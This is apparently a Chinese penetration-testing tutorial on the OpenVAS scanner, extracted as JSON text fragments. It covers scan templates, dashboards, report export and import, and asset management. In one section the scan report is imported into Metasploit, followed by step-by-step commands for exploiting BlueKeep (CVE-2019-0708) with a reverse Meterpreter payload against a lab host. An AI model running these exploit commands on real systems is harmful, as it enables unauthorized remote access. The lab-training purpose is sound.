在OpenVAS中，默认提供了4种通用模板，可以用来实施漏洞扫描。这4种通用模板适用于大部分情况，其区别在于扫描速度的快慢及对系统的影响。本章将介绍这4种通用模板的扫描方法。 未知 13.1 通用模板介绍 OpenVAS默认提供的4种通用模板分别是Full and fast、Full and fast ultimate、Full and very deep和Full and very deep ultimate。 ·Full and fast扫描方式适用于大多数场合，而且几乎使用了OpenVAS提供的所有插件进行扫描。这种方式仅对目标系统进行扫描，不会危害目标系统。 ·Full and fast ultimate扫描方式的配置是基于Full and fast扫描配置的，同样是几乎使用了OpenVAS的所有插件实施扫描。但是，这种方式会破坏服务或导致系统关闭，如图13.1和图13.2所示。 图13.1 服务停止 图13.2 系统关机 ·Full and very deep扫描方式和Full and fast扫描方式类似，使用的插件也相同。但是如果使用的插件设置了超时，则这种扫描方式将会等待超时时间，所以这种扫描方式扫描比较慢。 ·Full and very deep ultimate扫描方式是在Full and very deep配置的基础上增加了危险的插件，所以这种方式可能会破坏服务或导致系统关闭。"},
    {"text": "未知 13.2 实施扫描 当了解了OpenVAS默认提供的4种通用模板后，便可使用它们分别对目标主机实施扫描。 【实例13-1】 使用Full and very deep扫描配置模板，对目标主机Windows XP实施扫描。具体操作步骤如下： （1）登录OpenVAS服务，创建扫描任务。首先，根据前面介绍的方法创建扫描目标，并指定目标名称为Windows XP。然后创建针对该目标的扫描任务。在扫描任务列表界面，单击 按钮创建新的扫描任务，如图13.3所示。 图13.3 新建扫描任务 （2）这里将创建一个名为Full and very deep的扫描任务，扫描目标为Windows XP，使用的扫描配置为Full and very deep。单击Create按钮创建该扫描任务，创建成功后将显示如图13.4所示的界面。 图13.4 扫描任务创建成功 （3）单击 按钮开始对目标进行扫描，扫描完成后显示界面如图13.5所示。 图13.5 扫描完成 （4）从图13.5中可以看到，扫描任务Full and very deep的状态为Done，表示该任务已完成。从Severity列显示的内容可以看到目标主机中存在非常严重的漏洞。接下来可以通过分析漏洞信息，并利用存在的漏洞实施渗透测试。单击Status列中 的按钮，即可查看扫描的漏洞信息，如图13.6所示。 图13.6 漏洞信息 （5）从图13.6中可以看到，该扫描结果中存在非常严重和中等级别的漏洞，以及一些记录信息。单击Vulnerability后面的 按钮，即可查看所有漏洞的详细信息，如图13.7所示。 （6）图13.7显示了Vulnerabilities in SMB Could Allow Remote Code Execution(958687)-Remote漏洞的详细信息。它是Microsoft服务器消息块（SMB）协议存在的缓冲区溢出漏洞，该漏洞可使未经认证的远程攻击者对目标系统实施拒绝服务攻击。通过分析该漏洞的详细信息可知，用户需要通过更新目标系统来修复该漏洞；该漏洞主要影响的操作系统是Microsoft Windows 2000 Service Pack 4、Microsoft Windows XP Service Pack 3、Microsoft Windows 2003 Service Pack 2以及这些系统之前的版本。 图13.7 漏洞的详细信息 未知 13.3 图表查看扫描任务 通过前面的介绍可知，在扫描任务界面能够查看到每个扫描任务的结果。OpenVAS提供了一种图表方式，可以很直观地查看所有扫描任务中严重级别漏洞的个数。下面将介绍以图表形式查看扫描任务的方法。 【实例13-2】 以图表形式查看扫描任务。具体操作步骤如下： （1）登录OpenVAS服务，在菜单栏中依次选择Scans|Dashboard命令，将显示Scans Dashboard界面，如图13.8所示。 （2）从图13.8中可以看到，共有5个图表信息，分别是Results by Severity Class（安全级别类的扫描结果数）、Reports by Severity Class（安全级别类扫描报告数）、Tasks by status（扫描任务总数）、Reports:High results timeline（最高结果时间表）和Tasks by Severity Class（安全级别类任务数）。从这些信息中，可以看到所有扫描任务中不同安全级别的漏洞个数、报告数和任务数等。其中，不同颜色表示一种漏洞级别，红色是最严重的，漏洞评分也是最高的（11分）。用户还可以下载，或者以单独的窗口查看扫描任务的结果。在该界面上单击图表左上角的 （小三角）按钮，将会弹出一个下拉列表，如图13.9所示。 图13.8 Scans Dashboard界面 图13.9 查看扫描任务的菜单栏 （3）从图13.9中可以看到，在该下拉列表中显示了5种显示扫描任务的方法，分别是Show detached chart window（显示分离窗口图表）、Download CSV（以CSV格式下载图表）、Show HTML table（显示HTML表格）、Show copyable SVG（显示可复制SVG格式的图表）和Download SVG（以SVG格式下载图表）。例如，以Show detached chart window方式查看扫描任务，显示结果如图13.10所示。 图13.10 分离窗口图表 （4）从图13.10中可以看到，单独以一个窗口显示了该图表。用户还可以对这些图表进行编辑，可以手动添加或删除图表信息。如果希望编辑图表信息，则单击右上角的按钮 ，将打开编辑界面，如图13.11所示。 图13.11 编辑图表 （5）此时，可以添加图表、删除图表或编辑图表的显示方式。如果要删除某个图表，则单击对应图表右上角的 按钮即可。从图13.11中可以看到，每个图表下方显示了两个下拉列表框，用于修改结果的显示方式。单击图表下方的下拉列表框，将显示可以设置的格式，如图13.12所示。 图13.12 选择图表格式 （6）可以根据自己的需要选择不同的格式来显示扫描结果，以帮助用户更快地了解扫描结果。本例中对所有图表的显示方式进行了设置，设置完成后将显示如图13.13所示的界面。 （7）这里分别使用不同方式显示扫描结果。如果想要返回原来的显示结果，可以通过单击图表下方的下拉列表框左右的 （向前）和 （向后）按钮，返回原来的格式。当确定使用这些类型显示时，单击右上角的 按钮保存设置。如果希望所有的设置都返回默认值，则单击 按钮。如果需要添加新的图表，则单击 按钮。 图13.13 修改后的显示结果 在kindle搜索B089Y82SSX可直接购买阅读 未知 第14章 生成报告 当对目标主机实施扫描后，即可对其结果进行详细分析。在前面的章节中介绍过查看及分析扫描结果的方法，但是如果需要特殊分析某个扫描结果时，则每次都需要登录服务，查找起来不是很容易。为了方便用户对扫描结果进行分析，OpenVAS支持将扫描结果生成不同格式的报告，包括ARF、CPE、HTML、PDF和XML等。另外，还可以借助其他工具，直接利用扫描报告中的漏洞实施渗透测试。本章将介绍生成报告及利用扫描报告的方法。"},
    {"text": "未知 14.1 导出扫描结果 在OpenVAS服务中，可以单独导出某个特定的扫描结果，以方便后续进行分析。本节将介绍导出扫描结果的方法。 【实例14-1】 导出扫描结果。操作步骤如下： （1）在菜单栏中依次选择Scans|Results命令，打开扫描结果列表，如图14.1所示。 图14.1 扫描结果列表 （2）从图14.1中可以看到，共包括218个结果，分别按照安全级别（Results by Severity Class）、漏洞词云（Results vulnerability word cloud）和漏洞评分（Results by CVSS）显示了所有的漏洞统计信息。另外，还显示了所有的扫描结果列表。从安全级别中可以看到，有1个比较严重的漏洞、2个中等级别的漏洞和215个日志。在扫描结果列表中，默认每页显示10个结果，单击下一页按钮 即可翻页查看。例如，这里查看比较严重的漏洞，并导出扫描报告，则需要在Results by Severity Class图表中单击安全级别High，即可快速跳转到对应的扫描结果界面，如图14.2所示。 图14.2 扫描结果 （3）从图14.2中可以看到，有一个比较严重的漏洞。单击该漏洞名，查看其详细信息，如图14.3所示。 图14.3 漏洞的详细信息 （4）图14.3显示了rsh Unencrypted Cleartext Login漏洞的详细信息。单击该漏洞详细信息顶部的导出按钮 ，将弹出扫描结果保存对话框，如图14.4所示。 （5）选中Save File单选按钮，并单击OK按钮，即可保存导出的扫描结果文件。 图14.4 导出扫描结果 未知 14.2 生成及导入扫描报告 OpenVAS还支持将扫描结果生成不同格式的报告文件，如PDF、XML等，用户可以根据需要选择格式来生成对应的扫描报告。本节将介绍生成及导入扫描报告的方法。 未知 14.2.1 报告格式 在将扫描结果生成报告之前，首先需要了解OpenVAS默认支持的报告格式。 【实例14-2】 查看OpenVAS默认支持的报告格式。具体操作步骤如下： （1）在OpenVAS的主界面依次选择Configuration|Report Formats命令，将打开报告格式界面，如图14.5所示。 图14.5 报告格式1 （2）从图14.5中可以看到，共有15种报告格式，但该页仅显示了10种格式，用户可以通过单击下一页按钮 来查看其他5种格式，如图14.6所示。 图14.6 报告格式2 （3）从图14.5和图14.6中可以看到所有的报告格式，用户通过单击每种格式的名称，即可查看该格式的详细信息，所以这里不再详细介绍每种报告格式。例如，查看XML格式的详细信息，显示结果如图14.7所示。 图14.7 XML报告格式的详细信息 （4）从图14.7中可以看到XML格式的详细信息，如内容类型、活跃状态、摘要信息及描述等。用户可以通过单击 或 按钮，克隆或导出该报告格式。用户还可以在该界面单击 按钮来创建新的报告格式，将弹出新报告格式对话框，如图14.8所示。 图14.8 创建新的报告格式 （5）在图14.8所示的对话框中单击Browse按钮，选择创建好的XML报告格式，然后单击Create按钮，即可将创建好的报告格式导入。 未知 14.2.2 生成XML格式报告 了解OpenVAS的报告格式后，即可将扫描结果生成不同的格式。下面将以前面的扫描结果为例，演示生成XML格式报告的方法。 【实例14-3】 将扫描结果导出为XML格式的报告。具体操作步骤如下： （1）在菜单栏中依次选择Scans|Reports命令，将显示所有扫描任务的扫描报告列表，如图14.9所示。 图14.9 扫描报告列表 （2）该界面分别按照安全级别（Reports by Severity Class）、严重结果在线时间（Reports:High results timeline）和漏洞评分（Reports by CVSS）三种方式对漏洞进行了统计显示，并且显示了所有扫描报告列表。例如，这里选择将Network Discovery扫描任务的结果生成XML格式的报告，则单击该扫描任务对应的时间（Date），将显示扫描结果列表，如图14.10所示。 图14.10 扫描结果列表 （3）在报告格式下拉列表框中选择报告格式为XML，然后单击导出按钮 ，将弹出保存扫描报告的对话框，如图14.11所示。 （4）选中Save File单选按钮，并单击OK按钮，即可成功导出报告文件。 图14.11 保存扫描报告 未知 第3章 Nessus基础知识 当准备好扫描目标后，即可实施漏洞扫描。本章将介绍使用Nessus实施漏洞扫描的基础知识，如安装Nessus工具、配置Nessus等。"},
    {"text": "未知 14.2.3 导入扫描报告 用户从一个OpenVAS服务器中导出的扫描报告，还可以导入到另一个OpenVAS服务器中。如果用户在一台OpenVAS服务器中扫描的结果不方便分析时，则可以将该扫描报告导出并导入到方便登录的服务器中，然后即可随时对其进行分析。下面将介绍导入扫描报告的方法。 【实例14-4】 导入扫描报告。例如，这里将导入一个名为openvas.xml的扫描报告。操作步骤如下： （1）在菜单栏中依次选择Scans|Reports命令，打开扫描报告列表界面，如图14.12所示。 图14.12 扫描报告列表 （2）单击顶部的导入按钮 ，将弹出导入扫描报告对话框，如图14.13所示。 图14.13 导入扫描报告对话框 （3）在图14.13所示的对话框中单击Browse按钮选择要导入的扫描报告文件openvas.xml。另外，用户还可以为该扫描报告新建一个容器扫描任务，单击Container Task选项后面的新建按钮 ，将弹出新建容器任务对话框，如图14.14所示。 图14.14 新建容器任务对话框 （4）在图14.14所示的对话框中指定任务的名称，然后单击Create按钮，将返回导入扫描报告对话框，如图14.15所示。 图14.15 配置的导入报告信息 （5）单击Create按钮，即可成功导入扫描报告到LocalVAN扫描任务。此时，在菜单栏中依次选择Scans|Tasks命令，即可看到新建的容器扫描任务及导入的扫描报告，如图14.16所示。 图14.16 扫描任务列表 （6）从图14.16所示界面可以看到，新建了一个状态为Container、名称为LocalVAN的扫描任务。单击该扫描任务的Reports列，将显示扫描报告列表，如图14.17所示。 （7）从该界面可以看到，成功导入了一个扫描报告。单击Date列即可查看报告详细列表，如图14.18所示。 （8）从该界面可以看到，成功显示了导入的扫描报告列表。接下来，用户便可以对每个漏洞进行详细分析。 图14.17 扫描报告 图14.18 扫描报告列表 未知 14.3 利用扫描报告 使用OpenVAS工具生成的扫描报告可以直接导入到Metasploit中进行漏洞利用。本节将介绍利用OpenVAS扫描报告的方法。"},
    {"text": "未知 14.3.1 导入扫描报告 下面介绍将OpenVAS扫描报告导入到Metasploit框架的方法。 1.使用db_import命令 在Metasploit中，提供了db_import命令，使用该命令可以直接导入扫描报告文件，并进行利用。"},
    {"text": "其中，Metasploit支持的文件类型如下： ·Acunetix ·Amap Log ·Amap Log-m ·Appscan ·Burp Session XML ·Burp Issue XML ·CI ·Foundstone ·FusionVM XML ·Group Policy Preferences Credentials ·IP Address List ·IP360 ASPL ·IP360 XML v3 ·Libpcap Packet Capture ·Masscan XML ·Metasploit PWDump Export ·Metasploit XML ·Metasploit Zip Export ·Microsoft Baseline Security Analyzer ·NeXpose Simple XML ·NeXpose XML Report ·Nessus NBE Report ·Nessus XML(v1) ·Nessus XML(v2) ·NetSparker XML ·Nikto XML ·Nmap XML ·OpenVAS Report ·OpenVAS XML ·Outpost24 XML ·Qualys Asset XML ·Qualys Scan XML ·Retina XML ·Spiceworks CSV Export ·Wapiti XML 从以上列表中可以看到，支持导入OpenVAS Report和OpenVAS XML报告。"},
    {"text": "执行命令如下： msf5 > db_import openvas.xml [*] Importing 'OpenVAS XML' data [*] Import: Parsing with 'Nokogiri v1.10.3' [*] Successfully imported /root/openvas.xml 从输出的信息可以看到，成功导入了扫描报告文件openvas.xml。"},
    {"text": "2.使用OpenVAS插件 在Metasploit框架中，支持加载OpenVAS插件，并与OpenVAS服务器协同工作。 当用户加载OpenVAS插件后，即可使用插件命令来连接OpenVAS服务器，并对其进行管理，如新建扫描任务、执行扫描、查看及导入扫描报告等。 【实例14-6】 使用OpenVAS插件导入扫描报告到Metasploit框架。 操作步骤如下： （1）加载OpenVAS插件。 执行命令如下： msf5 > load openvas [*] Welcome to OpenVAS integration by kost and averagesecurityguy. [*] [*] OpenVAS integration requires a database connection. Once the [*] database is ready, connect to the OpenVAS server using openvas_connect. [*] For additional commands use openvas_help. [*] [*] Successfully loaded plugin: OpenVAS 从输出的最后一行信息可以看到，成功加载了OpenVAS插件。"},
    {"text": "msf5 > openvas_help #帮助命令 [*] openvas_help Display this help [*] openvas_debug Enable/Disable debugging [*] openvas_version Display the version of the OpenVAS server [*] [*] CONNECTION #连接命令 [*] ========== [*] openvas_connect Connects to OpenVAS [*] openvas_disconnect Disconnects from OpenVAS [*] [*] TARGETS #管理目标命令 [*] ======= [*] openvas_target_create Create target [*] openvas_target_delete Deletes target specified by ID [*] openvas_target_list Lists targets [*] [*] TASKS #管理任务命令 [*] ===== [*] openvas_task_create Create task [*] openvas_task_delete Delete a task and all associated reports [*] openvas_task_list Lists tasks [*] openvas_task_start Starts task specified by ID [*] openvas_task_stop Stops task specified by ID [*] openvas_task_pause Pauses task specified by ID [*] openvas_task_resume Resumes task specified by ID [*] openvas_task_resume_or_start Resumes or starts task specified by ID [*] [*] CONFIGS #管理扫描配置命令 [*] ======= [*] openvas_config_list Lists scan configurations [*] [*] FORMATS #管理报告格式命令 [*] ======= [*] openvas_format_list Lists available report formats [*] [*] REPORTS #管理扫描报告命令 [*] ======= [*] openvas_report_list Lists available reports [*] openvas_report_delete Delete a report specified by ID [*] openvas_report_import Imports an OpenVAS report specified by ID [*] openvas_report_download Downloads an OpenVAS report specified by ID 从输出的信息可以看到OpenVAS插件提供的所有命令。"},
    {"text": "执行命令如下： msf5 > openvas_connect admin 123456 127.0.0.1 9390 ok [*] Connecting to OpenVAS instance at 127.0.0.1:9390 with username admin... /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. [+] OpenVAS connection successful 从输出的信息可以看到，成功连接到了OpenVAS服务器。"},
    {"text": "（3）使用openvas_report_import命令导入扫描报告。 其语法格式如下： openvas_report_import <report_id> <format_id> 以上语法中，参数report_id表示导入的报告ID； format_id表示导入的报告格式ID。"},
    {"text": "使用openvas_report_list命令可以查看报告ID，执行命令如下： msf5 > openvas_report_list /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. [+] OpenVAS list of reports ID Task Name Start Time Stop Time -- --------- ---------- --------- 3d4b63b1-5feb-432a-b46b-a20afb3d7757 System Discovery 474f9ad2-a0cf-41d9-817f-4b4120fe5717 Host Discovery 7c20347b-d964-4375-93eb-608ab9cd5bc0 LocalVAN 814c17e8-1a51-452a-92a1-f78139875acd Windows7 965ac659-b08c-4f04-990f-a9ead655b555 System Discovery c062dacf-15fd-4edf-abd8-79bba392cfa6 Network Discovery ecccd88d-1b79-42e4-86de-5259f8b51b0c windows 10 以上输出信息共包括4列，分别是ID（报告ID）、Task Name（任务名）、Start Time（起始时间）和Stop Time（停止时间）。"},
    {"text": "使用openvas_format_list命令可以查看报告格式ID，执行命令如下： msf5 > openvas_format_list /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead. [+] OpenVAS list of report formats ID Name Extension Summary -- ---- --------- ------- 5057e5cc-b825-11e4- Anonymous XM xml Anonymous version of the raw 9d0e -28d24461215b XML report 50c9950a-f326-11e4- Verinice ITG vna Greenbone Verinice ITG Report, 800c -28d24461215b v1.0.1. 5ceff8ba-1f62-11e1- CPE csv Common Product Enumeration CSV ab9f -406186ea4fc5 table. 6c248850-1f62-11e1- HTML html Single page HTML report. b082-406186ea4fc5 77bd6c4a-1f62-11e1- ITG csv German \"IT-Grundschutz- abf0-406186ea4fc5 Kataloge\" report. 9087b18c-626c-11e3- CSV Hosts csv CSV host summary. 8892-406186ea4fc5 910200ca-dc05-11e1- ARF xml Asset Reporting Format v1.0.0. 954f -406186ea4fc5 9ca6fe72-1f62-11e1- NBE nbe Legacy OpenVAS report. 9e7c -406186ea4fc5 9e5e5deb-879e-4ecc- Topology SVG svg Network topology SVG image. 8be6-a71cd0875cdd a3810a62-1f62-11e1- TXT txt Plain text report. 9219-406186ea4fc5 a684c02c-b531-11e1- LaTeX tex LaTeX source file. bdc2-406186ea4fc5 a994b278-1f62-11e1- XML xml Raw XML report. 96ac -406186ea4fc5 c15ad349-bd8d-457a- Verinice ISM vna Greenbone Verinice ISM Report, 880a -c7056532ee15 v3.0.0. c1645568-627a-11e3- CSV Results csv CSV result list. a660-406186ea4fc5 c402cc3e-b531-11e1- PDF pdf Portable Document Format report. 9163-406186ea4fc5 以上输出信息共包括4列，分别是ID（格式ID）、Name（名称）、Extension（扩展名）和Summary（摘要信息）。"},
    {"text": "接下来即可导入扫描报告，执行命令如下： msf5 > openvas_report_import c062dacf-15fd-4edf-abd8-79bba392cfa6 a994b278- 1f62-11e1-96ac-406186ea4fc5 [*] Importing report to database. 从输出的信息可以看到，成功导入了报告到数据库。"},
    {"text": "msf5 > vulns Vulnerabilities =============== Timestamp Host Name References --------- ---- ----- ----------- 2019-12-05 192.168. SSL/TLS: Report Weak CVE-2013-2566,CVE-2015-2808, 09:01:32 UTC 198.131 Cipher Suites CVE-2015-4000 2019-12-05 192.168. CVE-2019-0708 CVE-2019-0708,URL-https: 09:10:26 198.132 BlueKeep Microsoft //portal.msrc.microsoft.com/ UTC Remote Desktop en-US/security-guidance/ RCE Check advisory/CVE-2019-0708,URL- https://zerosum0x0.blogspot. com/2019/05/avoiding-dos-how -bluekeep-scanners-work.html 从输出的信息中可以看到，成功导入了两个漏洞，漏洞名称分别是SSL/TLS:Report Weak Cipher Suites和CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check。"},
    {"text": "下面将利用CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check漏洞对目标实施渗透。 具体操作步骤如下： （1）查看CVE-2019-0708漏洞的可利用模块。"},
    {"text": "执行命令如下： msf5 > search CVE-2019-0708 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/ 2019-05-14 normal Yes CVE-2019-0708 BlueKeep scanner/rdp/ Microsoft Remote Desktop cve_2019_0708 RCE Check 1 _bluekeep 2019-05-14 manual Yes CVE-2019-0708 BlueKeep exploit/ RDP Remote Windows Kernel windows/rdp/ Use After Free cve_2019_0708_ bluekeep_rce 从输出的信息可以看到，有两个可利用的模块。"},
    {"text": "其中，第一个模块用来测试是否存在BlueKeep漏洞； 第二个模块用来利用BlueKeep漏洞。 接下来将使用第二个模块对漏洞进行利用，以实现对目标主机的渗透。"},
    {"text": "（2）加载exploit/windows/rdp/cve_2019_0708_bluekeep_rce模块。 执行命令如下： msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > （3）加载攻击载荷windows/x64/meterpreter/reverse_tcp，以获取一个反向Meterpreter连接。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set payload windows/ x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp （4）查看模块配置选项。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce): Name Current Setting Required Description ---- --------------- -------- ----------- RDP_CLIENT_ 192.168.0.100 yes The client IPv4 address to IP report during connect RDP_CLIENT_ ethdev no The client computer name to NAME report during connect, UNSET = random RDP_DOMAIN no The client domain name to report during connect RDP_USER no The username to report during connect, UNSET = random RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 3389 yes The target port (TCP) Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ------------ EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- --------------------------------------------------- 0 Automatic targeting via fingerprinting 以上输出信息共包括4列，分别是Name（名称）、Current Setting（当前设置）、Required（必需项）和Description（描述）。"},
    {"text": "执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 192. 168.198.132 #设置目标主机 RHOSTS => 192.168.198.132 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LHOST 192. 168.198.133 #设置本地主机 LHOST => 192.168.198.133 （6）设置目标选项。"},
    {"text": "由于cve_2019_0708_bluekeep_rce模块不支持目标指纹识别，所以用户需要手动指定目标主机类型。 首先查看支持的所有目标类型，执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets Exploit targets: Id Name -- ---- 0 Automatic targeting via fingerprinting 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15) 5 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1) 6 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V) 7 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS) 从输出的信息可以看到，共支持8种目标主机类型。"},
    {"text": "执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 4 target => 4 （7）实施渗透。 执行命令如下： msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run [*] Started reverse TCP handler on 192.168.198.133:4444 [*] 192.168.198.132:3389 - Detected RDP on 192.168.198.132:3389 (Windows version: 6.1.7601) (Requires NLA: No) [+] 192.168.198.132:3389 - The target is vulnerable. [*] 192.168.198.132:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028608000, Channel count 1. [*] 192.168.198.132:3389 - Surfing channels ... [*] 192.168.198.132:3389 - Lobbing eggs ... [*] 192.168.198.132:3389 - Forcing the USE of FREE'd object ... [*] Sending stage (206403 bytes) to 192.168.198.132 [*] Meterpreter session 1 opened (192.168.198.133:4444 -> 192.168.198. 132:49159) at 2019-12-05 17:11:54 +0800 meterpreter > 从输出的信息可以看到，成功获取到一个Meterpreter会话。"},
    {"text": "例如，查看目标主机信息，执行命令如下： meterpreter > sysinfo Computer : WIN-JVF4RQHNDJU OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows 从输出的信息中可以看到目标主机的基本信息。 例如，计算机名为WIN-JVF4RQHNDJU、操作系统类型为Windows 2008 R2(6.1 Build 7601,Service Pack 1)、系统架构为x64、语言为en_US等。"},
    {"text": "未知 第15章 资产管理 在OpenVAS中，扫描相关的主机、操作系统信息都被称为资产，保存在asset数据库中。OpenVAS提供了对应的资源管理功能，方便用户对这些信息进行单独分析和管理。本章将讲解如何进行资产管理。 未知 15.1 查看主机列表 主机列表中显示了asset数据库中所有的主机信息。这些主机的来源有两种，一种是扫描任务中发现的主机，另一种是用户手动添加的主机。在主机列表中，用户可以查看主机的基本信息，如拓扑、IP地址、操作系统类型等。本节将介绍如何查看主机列表信息。 【实例15-1】 查看主机列表信息。具体操作步骤如下： （1）在菜单栏中依次选择Assets|Hosts命令，将显示主机列表，如图15.1所示。 图15.1 主机列表 （2）从图15.1中可以看到共包括8个主机，分别按照Hosts by Severity Class（安全级别）、Hosts topology（主机拓扑）和Hosts by modification time（主机信息更新时间）显示了主机的统计信息。另外，主机列表共包括7列，分别是Name（名称）、Hostname（主机名）、IP（IP地址）、OS（操作系统类型）、Severity（安全级别）、Updated（更新时间）和Actions（操作）。从统计的结果中可以很清楚地看到，存在不同级别漏洞的数量和主机地址。从主机列表中可以看到，扫描出的主机名、IP地址、操作系统和漏洞安全级别。例如，主机127.0.0.1的主机名为localhost；操作系统的图标为小企鹅 ，即Linux操作系统。单击Name列，即可查看主机的详细信息。例如，查看主机192.168.198.128的详细信息，如图15.2所示。 图15.2 主机的详细信息 （3）从图15.2可以看到主机192.168.198.128的详细信息。其中，该主机的操作系统为Canonical Ubuntu Linux(cpe:/o:canonical:ubuntu_linux:8.04)、路由为192.168.198.133-192.168.198.128、MAC地址为00:0C:29:F7:DD:C3。 在主机列表中，默认显示的是扫描任务中发现的主机。用户也可以手动添加一些主要的主机信息。下面介绍具体的实现方法。 【实例15-2】 手动添加主机到该列表。操作步骤如下： （1）在菜单栏中依次选择Assets|Hosts命令，打开主机列表，然后单击新建主机按钮，弹出新建主机对话框，如图15.3所示。 （2）在图15.3所示的对话框中共有两个选项，分别是Name和Comment。其中，Name用来指定主机名称，Comment用来设置注释信息。例如，这里将创建一个名为192.168.198.132的主机，注释信息为daxueba，如图15.4所示。 图15.3 新建主机对话框 图15.4 添加的主机信息 （3）单击Create按钮，即可成功添加主机，如图15.5所示。 图15.5 添加主机成功 （4）从图15.5可以看到，成功添加了一个主机名为192.168.198.132的主机。 未知 15.2 查看操作系统 在操作系统列表中可以查看操作系统的详细信息，如系统类型、内核及对应的主机数等。这些信息都来自扫描任务。本节将介绍查看操作系统信息的方法。 【实例15-3】 查看操作系统信息。操作步骤如下： （1）在菜单栏中依次选择Assets|Operating Systems命令，将显示操作系统列表界面，如图15.6所示。 （2）从图15.6中可以看到8条操作系统信息，并分别按照操作系统安全级别（Operating Systems by Severity Class）、操作系统漏洞评分（Operating Systems by Vulnerability Score）和CVSS评分（Operating Systems by CVSS）进行了统计。操作系统列表共包括6列，分别是Name（名称）、Title（标题）、Severity（安全级别）、Hosts（主机数）、Updated（更新时间）和Actions（操作）。从操作系统列表中，可以看到每种操作系统的主机数、最新安全级别信息、最高安全级别和平均安全级别。单击操作系统名称，可以查看其详细信息。例如，查看操作系统为cpe:/o:microsoft:windows_7:-:sp1的详细信息，如图15.7所示。 图15.6 操作系统列表 图15.7 操作系统详细信息 （3）从图15.7中可以看到操作系统的名称、最新安全级别、最高安全级别、平均安全级别和主机数。单击主机数，即可查看对应的主机IP地址，如图15.8所示。 图15.8 主机地址 （4）从图15.8可以看到，主机192.168.198.129和192.168.198.131的操作系统都是Windows 7。"},
